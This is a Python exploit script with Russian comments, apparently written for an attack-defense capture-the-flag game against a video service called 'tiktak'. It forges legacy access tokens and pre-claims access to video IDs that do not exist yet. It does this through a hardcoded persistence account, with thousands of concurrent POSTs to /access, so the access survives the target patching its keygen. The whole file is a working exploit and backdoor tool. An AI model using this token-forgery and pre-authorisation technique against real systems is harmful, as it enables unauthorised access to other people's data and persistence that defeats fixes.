#!/usr/bin/env python3 """Закладка на tiktak: пре-авторизация на ещё не созданные video id. Не сплойт для фермы -- флаги не собирает, готовит почву. Запускать РЕДКО (раз в 10-20 минут), пока цель не запатчила handleAccess. ./tiktak_preauth.py 10.10.10.5 ./tiktak_preauth.py 10.10.10.5 --minutes 20 Зачем: handleAccess вызывает AddAccess не проверяя, что видео существует, поэтому можно занять строки в access под будущие id. haveAccess() смотрит в таблицу, а не на токен -- значит доступ переживёт переход цели на новый keygen. Дальше их собирает tiktak_keygen_forge.py под тем же аккаунтом. Осторожно: это POST-ы в чужую БД. Скорость ограничена сознательно, не поднимай RATE бездумно -- уронишь цель, и флагов не будет вовсе. """ import sys import re import time import argparse import requests from concurrent.futures import ThreadPoolExecutor PORT = 5000 WORKERS = 20 MAX_IDS = 12000 SAMPLE_SECONDS = 20 # должно совпадать с tiktak_keygen_forge.py, иначе закладку некому забрать PERSIST_LOGIN = "mkt_svc_4a91" PERSIST_PASS = "Qw8_rt2M_zx71" WATCH_RX = re.compile(r"/watch/(\d+)") ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" def legacy_token(vid): seed = vid out = [] for _ in range(30): seed = (seed * 17 + 42) % 62 out.append(ALPHABET[seed]) return "".join(out) def top_id(s, base): ids = [int(x) for x in WATCH_RX.findall(s.get(f"{base}/feed", timeout=6).text)] return max(ids) if ids else None def login_or_register(s, base): for path in ("login", "register"): r = s.post(f"{base}/{path}", data={"login": PERSIST_LOGIN, "password": PERSIST_PASS}, timeout=6, allow_redirects=False) if r.status_code == 302: return True return False def main(): ap = argparse.ArgumentParser() ap.add_argument("target") ap.add_argument("--minutes", type=int, default=15, help="на сколько минут вперёд занимать id (default 15)") args = ap.parse_args() base = f"http://{args.target}:{PORT}" s = requests.Session() s.mount("http://", requests.adapters.HTTPAdapter( pool_connections=WORKERS, pool_maxsize=WORKERS)) if not login_or_register(s, base): print(f"[-] {args.target}: не удалось войти", file=sys.stderr, flush=True) return 1 t0 = top_id(s, base) if t0 is None: print(f"[-] {args.target}: пустой /feed", file=sys.stderr, flush=True) return 1 # Скорость роста id у команд отличается на два порядка (7/мин против # 900/мин), фиксированный диапазон был бы либо бесполезен, либо шумен. time.sleep(SAMPLE_SECONDS) t1 = top_id(s, base) or t0 rate = max(1.0, (t1 - t0) / SAMPLE_SECONDS * 60) span = min(MAX_IDS, int(rate * args.minutes) + 50) print(f"[*] {args.target}: top={t1}, {rate:.0f} id/мин, " f"занимаю {span} id на ~{args.minutes} мин", file=sys.stderr, flush=True) # Проверяем, что форж вообще проходит, прежде чем слать тысячи POST-ов. probe = s.post(f"{base}/access", data={"videoID": t1 + span, "token": legacy_token(t1 + span)}, timeout=6, allow_redirects=False) if not probe.headers.get("Location", "").endswith(f"/watch/{t1 + span}"): print(f"[!] {args.target}: /access отверг форж -- keygen или " f"проверка существования видео уже запатчены", file=sys.stderr, flush=True) return 1 def claim(vid): try: r = s.post(f"{base}/access", data={"videoID": vid, "token": legacy_token(vid)}, timeout=6, allow_redirects=False) return r.headers.get("Location", "").endswith(f"/watch/{vid}") except requests.RequestException: return False span_ids = range(t1 + 1, t1 + span) with ThreadPoolExecutor(max_workers=WORKERS) as ex: ok = sum(1 for r in ex.map(claim, span_ids) if r) print(f"[+] {args.target}: занято {ok}/{len(span_ids)} id " f"({t1 + 1}..{t1 + span - 1}), забирать через tiktak_keygen_forge.py", file=sys.stderr, flush=True) return 0 if __name__ == "__main__": sys.exit(main())